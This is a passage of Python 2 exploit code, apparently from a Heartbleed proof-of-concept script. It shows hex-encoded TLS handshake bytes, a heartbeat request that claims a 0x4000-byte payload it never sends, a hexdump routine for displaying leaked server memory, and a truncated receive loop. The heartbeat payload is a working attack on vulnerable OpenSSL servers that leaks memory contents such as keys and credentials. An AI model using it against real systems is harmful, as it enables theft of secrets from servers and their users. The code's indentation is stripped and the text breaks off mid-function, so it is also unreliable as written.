c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09


c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length

while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None


×